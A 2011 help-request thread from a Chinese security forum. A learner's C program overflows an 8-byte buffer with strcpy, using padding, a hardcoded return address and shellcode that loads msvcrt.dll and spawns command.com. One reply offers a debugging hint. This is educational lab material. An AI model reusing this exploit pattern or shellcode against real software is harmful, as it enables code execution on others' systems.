首页
社区
课程
招聘
[求助][求助]q版缓冲区溢出教程的实验没有成功?
发表于: 2011-6-28 16:59 4644

[求助][求助]q版缓冲区溢出教程的实验没有成功?

2011-6-28 16:59
4644
这是我照着教程上的例子做的,我用的是VC++6.0,操作系统是XP SP3
运行的结果就是显示“\x41\x41\x41\x41\x41\x41\x41\x41”
那个地方写错了呢???

#include <stdio.h>
#include <string.h>

char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8b\xec\x33\xc0\x50\x50\x50\xc6\x45\xf4\x4d\xc6\x45\xf5\x53"
"\xc6\x45\xf6\x56\xc6\x45\xf7\x43\xc6\x45\xf8\x52\xc6\x45\xf9\x54\xc6\x45\xfa\x2e\xc6"
"\x45\xfb\x44\xc6\x45\xfc\x4c\xc6\x45\xfd\x4c\xba\x54\xa2"
"\xe6\x77\x52\x8d\x45\xf4\x50"
"\xff\x55\xf0"
"\x55\x8b\xec\x83\xec\x2c\xb8\x63\x6f\x6d\x6d\x89\x45\xf4\xb8\x61\x6e\x64\x2e"
"\x89\x45\xf8\xb8\x63\x6f\x6d\x22\x89\x45\xfc\x33\xd2\x88\x55\xff\x8d\x45\xf4"
"\x50\xb8\x4a\x9b\x01\x78\xff\xd0";
int main()
{
        char output[8];
        strcpy(output,name);
        for(int i=0;i<8 && output[i];i++)
                printf("\\0x%x",output[i]);
        return 0;
}

[注意]传递专业知识、拓宽行业人脉——看雪讲师团队等你加入!

收藏
免费 0
支持
分享
最新回复 (1)
雪    币: 67
活跃值: (25)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
main 中 ebp 不入栈
2011-7-1 12:14
0
游客
登录 | 注册 方可回帖
返回
//